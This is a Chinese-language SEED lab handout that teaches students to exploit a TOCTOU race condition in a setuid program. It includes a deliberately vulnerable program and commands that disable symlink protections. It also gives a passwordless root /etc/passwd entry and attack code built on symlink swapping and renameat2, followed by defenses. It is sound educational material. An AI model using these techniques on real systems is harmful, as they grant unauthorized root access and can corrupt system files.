竞态条件漏洞实验

1 概述

本实验的教学目标是让学生通过动手操作，加深他们在课堂上学到的竞态条件漏洞知识。竞态条件是指当多个进程同时访问和修改同一数据时，不同的顺序会导致执行的结果不同。如果一个拥有特权的程序存在竞态条件漏洞，攻击者可以运行一个并行过程来与该特权程序进行竞争，有可能能改变程序的结果。

本实验提供了一个具有竞态条件漏洞的程序，学生的任务是想办法利用这个漏洞获得 root 权限。除了攻击之外，实验还将引导学生研究一些可用于对抗竞态条件攻击的安全机制，学生需要评估这些机制是否有效并解释为什么有效。本实验涵盖了以下主题：

- 竞态条件漏洞
- 黏性符号链接保护
- 最小权限原则

2 阅读材料与视频

竞态条件攻击的详细内容可以在以下资料中找到：

- SEED 教科书，*Computer & Internet Security: A Hands-on Approach*, 3rd Edition, by Wenliang Du. 详情请见 `https://www.handsonsecurity.net`.
- SEED 视频，*Computer Security: A Hands-on Approach*, by Wenliang Du. 详情请见 `https://www.handsonsecurity.net/video.html`.

相关主题。 SEED 实验还有三个另外的与竞态条件相关的实验。一个是 Dirty COW 攻击实验，它利用操作系统内核中的竞态条件漏洞。另外两个是熔断和幽灵攻击，它们针对的是 CPU 内的竞态条件漏洞。这四个实验从应用层、内核层到硬件层提供了对竞态条件问题的全面覆盖。

实验环境。 本实验在 SEED Ubuntu 20.04 VM 中测试可行。您可以从 SEED 网站上下载我们预先构建好的镜像并在您自己的电脑上运行 SEED VM。然而，大多数 SEED 实验可以在云端进行，您可以按照我们的说明在云端创建 SEED VM。

3 环境配置

3.1 关闭防护机制

Ubuntu 操作系统里有内置的防止竞态条件攻击的安全措施，它限制谁可以跟随符号链接。根据文档说明，“全局可写的粘性目录（例如 /tmp）中的符号链接只能在符号链接的所有者和跟随者和目录所有者的其中之一相匹配时才能被跟随。” Ubuntu 20.04 还引入了一种新的安全机制，防止 root 用户向由他人拥有的 /tmp 文件中写入数据。为了关闭这些防护措施，请使用以下命令：

```
// 在Ubuntu 20.04上，使用如下命令：
$ sudo sysctl -w fs.protected_symlinks=0
$ sudo sysctl fs.protected_regular=0

// 在Ubuntu 16.04上，使用如下命令：
$ sudo sysctl -w fs.protected_symlinks=0
```

3.2 存在漏洞的程序

以下是一个看似无害的程序，它包含一个竞态条件漏洞。

Listing 1: 存在漏洞的程序 (vulp.c)

```
#include <stdio.h>
#include<unistd.h>

int main()
{
   char * fn = "/tmp/XYZ";
   char buffer[60];
   FILE *fp;

   /* 获取用户输入 */
   scanf("%50s", buffer );

   if(!access(fn, W_OK)){                ①
      fp = fopen(fn, "a+");              ②
      fwrite("\n", sizeof(char), 1, fp);
      fwrite(buffer, sizeof(char), strlen(buffer), fp);
      fclose(fp);
   }
   else printf("No permission \n");
}
```

该程序是一个拥有 root 权限的 setuid 程序，它会在临时文件 /tmp/XYZ 的末尾添加用户输入的内容。由于代码以 root 权限运行（有效用户 ID 为 0），因此可以覆盖任何文件。为了防止自己意外覆盖他人的文件，程序首先检查自己的真实用户 ID 是否具有对文件 /tmp/XYZ 的修改权限，这就是第①行

access() 调用的目的。如果确实有权限，程序会在第 ② 行打开该文件并往其中添加用户输入的内容。

乍一看似乎这个程序没有问题。但是，在检查（access）和使用（fopen）之间存在一个时间窗口，在这段时间里，被 access() 检查的文件可能与被 fopen() 使用的文件不是同一个，尽管它们具有相同的文件名/tmp/XYZ。如果攻击者能够在该时间窗口内使 /tmp/XYZ 成为指向 /etc/passwd 的符号链接，则可以导致用户输入被添加到 /etc/passwd 中，由此获得 root 权限。由于该漏洞运行在 root 权限下，因此它有权限修改任何文件。

设置 setuid 程序。 我们首先编译上述代码，并将可执行程序转换为一个由 root 拥有的 setuid 程序：

```
$ gcc vulp.c -o vulp
$ sudo chown root vulp
$ sudo chmod 4755 vulp
```

4 任务 1：选择我们的目标

我们的目的是利用程序中的竞态条件漏洞来修改一个对我们来说不可写的文件 /etc/passwd。通过利用这一漏洞，我们希望向该文件中添加一条记录，创建一个具有 root 权限的新用户帐户。在这个用户密码文件中，每个用户都有一个记录，它由七个字段组成（通过冒号分开）。以下是 root 用户的记录。

```
root:x:0:0:root:/root:/bin/bash
```

对于 root 用户来说，第三个字段（用户 ID 字段）的值为 0。也就是说，在 root 用户登录时，其进程的用户 ID 将被设置为 0，从而赋予该进程 root 权限。实际上，root 帐户的权利并不来源于其名称，而是源自用户的 ID 字段。如果想创建一个具有 root 权限的新帐户，只需在该字段中放入 0 即可。

每个条目还包含一个密码字段，它是第二个字段。在上面的示例中，此字段设置为 "x"，表示密码存储在另一个名为/etc/shadow 的文件中。这就意味着我们还需要利用竞态条件漏洞在 shadow 文件中也添加一条记录。这并不难做到，但是我们有一种更简单的方法。与其将 "x" 放入密码文件中，我们可以直接将密码放在那里，这样操作系统就不会去 shadow 文件中查找密码。

密码字段并不存放实际的密码，而是存储其单向哈希值。为了得到一个密码的单向哈希值，我们可以在自己的系统中使用 adduser 命令创建一个新用户，并从 shadow 文件中获取该密码的单向哈希值。我们也可以简单地复制 seed 用户记录中的值，因为我们知道其密码是 dees。有趣的是，在 Ubuntu 的 Live CD 中有一个用于无口令帐户的神奇值，该值为 U6aMy0wojraho（第 6 位字符是零，不是字母 O）。如果我们把这个值放在用户记录的密码字段内，不需要密码就可以进入到这个用户的账号。

任务。 为了验证这个魔法口令是否有效，我们手动（作为超级用户）将以下条目添加到 /etc/passwd 文件的末尾。请报告您是否不用输入任何口令就能登录 test 帐户，登录后检查一下您是否拥有 root 权限。

```
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

完成此任务后，请从密码文件中删除该记录。在下一个任务中，我们需要以普通用户身份实现同样的目标。显然，我们不能直接对密码文件进行修改，但可以利用特权程序中的竞态条件漏洞来达到同样的目标。

警告。 过去，一些学生在攻击过程中意外清空了 `/etc/passwd` 文件（这可能是由于操作系统内核中的一些竞态条件问题）。如果您丢失了该文件，则将无法再次登录。为了避免这种麻烦，请备份原始密码文件或做好虚拟机的备份。这样，您就可以轻松恢复。

5 任务 2：启动竞态条件攻击

本任务的目的是利用上述 setuid 程序中的竞态条件漏洞获得 root 权限。攻击中最关键的步骤，即让 `/tmp/XYZ` 指向密码文件，必须发生在 `access()` 和 `fopen()` 调用之间。

5.1 任务 2.A：模拟一个慢速机器

让我们假设这台机器非常慢，在 `access()` 和 `fopen()` 之间存在 10 秒的时间窗口。为了模拟这种情况，我们可以在两者之间添加一个 `sleep(10)`。程序如下：

```
if (!access(fn, W_OK)) {
     sleep(10);
     fp = fopen(fn, "a+");
     ...
```

加上这行以后，重新编译后的 `vulp` 程序将暂停 10 秒。您的任务是在这 10 秒内做一些事情，以便当程序在 10 秒后恢复运行时可以帮您添加一个具有 root 权限的帐户。请演示如何实现这一点。

我们是没法修改文件名 `/tmp/XYZ` 的，因为它被硬编码在程序里，但是可以通过符号链接来改变其含义。例如，可以将 `/tmp/XYZ` 重定向到 `/dev/null` 文件上。当我们向 `/tmp/XYZ` 写入数据时，实际的内容会写入 `/dev/null`。以下是一个示例（`"f"` 选项表示如果链接已存在，则先删除旧的链接）：

```
$ ln -sf /dev/null /tmp/XYZ
$ ls -ld /tmp/XYZ
lrwxrwxrwx 1 seed seed 9 Dec 25 22:20 /tmp/XYZ -> /dev/null
```

5.2 任务 2.B：真正的攻击

在前面的任务中，我们实际上是“作弊”了，因为我们要求程序减慢运行速度以便我们发动攻击。这显然不是一个真实的攻击。在这个任务中，我们将执行真正的攻击。在此之前，请确保从 `vulp` 程序中删除了 `sleep()` 语句。

竞态条件攻击中的典型策略是在目标程序运行时并行运行攻击程序，希望关键步骤能够在那个时间窗口内完成。当然，这样的概率是很低的，主要是那个时间窗口太小小。但我们可以反复进行攻击，直到成功为止。

编写攻击程序 在模拟攻击过程中，我们使用 "ln -s" 命令来创建或改变符号链接。现在我们需要在程序中做到这一点。可以使用 C 语言中的 symlink() 来创建符号链接。由于 Linux 系统不允许在一个链接已存在的情况下创建新的链接，因此需要先删除旧的链接。以下是一个如何先删除链接再使 /tmp/XYZ 指向 /etc/passwd 的 C 代码片段，请编写您的攻击程序。

```
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
```

运行存在漏洞的程序并监控结果。 因为我们需要多次运行存在漏洞的程序，所以我们将编写一个程序来做。为了避免手动为 vulp 程序输入内容，可以使用输入重定向。具体做法是将我们的输入保存在一个文件中，并通过"vulp < inputFile" 来让 vulp 从该文件获取输入（也可以使用管道）。

攻击成功需要一段时间，因此我们需要一种自动检测攻击是否成功的办法。一个简单的办法是监控文件的时间戳。以下是一个 shell 脚本，它运行 "ls -l" 命令，该命令输出有关文件的信息，包括最后修改时间。通过比较此命令的输出与先前产生的输出，我们可以判断文件是否已被修改。

下面的程序循环运行存在漏洞的程序（vulp），它的输入是 echo 通过管道提供的。您需要决定实际输入的内容。如果攻击成功，即密码被修改了，则脚本将停止。您需要有些耐心，攻击成功通常会发生在 5 分钟内。

```
#!/bin/bash

CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]    ← 检查 /etc/passwd 是否被修改
do
   echo "your input" | ./vulp  ← 运行存在漏洞的程序
   new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
```

验证成功 当您的脚本终止时，登录到 test 用户，验证是否具有 root 权限。然后在攻击程序的终端窗口中按 Ctrl-C 停止攻击程序。

注意事项 如果在 10 分钟后，您的攻击仍然没有成功，则可以停止攻击，并检查 /tmp/XYZ 文件的所有权。如果发现 /tmp/XYZ 的所有者变成了 root（通常应该是 seed），那么您将永远没法成功，这是因为攻击程序的 seed 权限是没法用 unlink() 来删除 /tmp/XYZ 的。/tmp 文件夹具有 “黏性” 位，这意味着只有文件的所有者才能删除该文件，即使这个目录是全局可写的。

在这个任务中，我们允许你使用 root 的权限来删除 /tmp/XYZ，然后再次进行攻击。这种情况是随机发生的，所以通过反复进行攻击（得到 root 的帮助），您最终可以中成功。显然，获得 root 帮助并不是真正的攻击，我们希望能够摆脱这种情况，争取在没有 root 帮助的情况下实现这一目标。

这种情况的主要原因是我们的攻击程序存在一个竞态条件问题，这比较讽刺。我们在攻击一个有

竞态条件漏洞的程序，结果我们也有同样的问题。过去我们就发现了这个问题，但不知道原因，只是建议学生删除该文件并再次尝试攻击。幸亏有一位学生决心弄清楚这个问题的原因，由于他的努力，我们最终明白了原因，并找到了改进的解决方案。

这种情况发生的根本原因是我们的攻击程序有两个主要步骤，先用 `unlink()` 删除 `/tmp/XYZ`，然后将其名称链接到另一个文件。这两个操作不是原子的，它涉及两个独立的系统调用，所以也存在一个时间窗口。并行运行的目标 setuid 程序有可能会在这个窗口内执行 `fopen(fn, "a+")` 语句，因为文件刚被删掉了，这行程序会创建一个新的叫 `/tmp/XYZ` 的文件，文件所有者当然是 root。这以后，我们的攻击程序就无法再对 `/tmp/XYZ` 进行任何更改。

使用 `unlink()` 和 `symlink()`，我们在攻击程序中引入了一个竞态条件问题。我们试图利用目标程序中的竞态条件攻击它，但目标程序意外地“利用”了我们攻击程序中的竞态条件，从而击败了我们的攻击。

为了解决这个问题，我们需要让 `unlink()` 和 `symlink()` 成为原子操作。幸运的是，有一个系统调用可以实现这一点。这个系统调用允许我们以原子方式交换两个符号链接。以下程序首先创建两个符号链接 `/tmp/XYZ` 和 `/tmp/ABC`，然后使用 `renameat2` 系统调用来原子地调换它们的链接。这使我们可以在不引入任何竞态条件的情况下更改 `/tmp/XYZ` 所指向的内容。

```
#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
int main()
{
   unsigned int flags = RENAME_EXCHANGE;

   unlink("/tmp/XYZ"); symlink("/dev/null",   "/tmp/XYZ");
   unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");

   renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
   return 0;
}
```

任务。 使用这种新的策略修订您的攻击程序，并再次进行攻击。如果一切顺利，您的攻击应当能够成功。

6 防护措施

6.1 应用最小权限原则

本实验中的漏洞程序的根本问题是违反了最小权限原则。程序员知道用户运行此程序时可能会过于强大，因此引入了 `access()` 以限制用户的权力。然而，这不是正确的做法。更好的方法是应用最小权限原则，即如果用户不需要某种特权，则该特权需要被禁用。

可以使用 `seteuid` 系统调用来暂时禁用 root 权限，并在必要时重新启用它。请使用此方法修复程序中的漏洞，然后再次进行攻击，看能否成功。请记录您的观察结果并提供解释。

6.2 使用 Ubuntu 内置方案

Ubuntu 10.10 及以上版本具有内置的防止竞态条件攻击的安全方案。在本任务中，您需要通过以下命令将此保护措施重新开启：

```
$ sudo sysctl -w fs.protected_symlinks=1
```

在开启保护措施后进行攻击。请描述您的观察结果。另外还需解释以下问题：（1）此保护方案是如何工作的？（2）此方案有何限制？

7 提交

你需要提交一份带有截图的详细实验报告来描述你所做的工作和你观察到的现象。你还需要对一些有趣或令人惊讶的观察结果进行解释。请同时列出重要的代码段并附上解释。只是简单地附上代码不加以解释不会获得学分。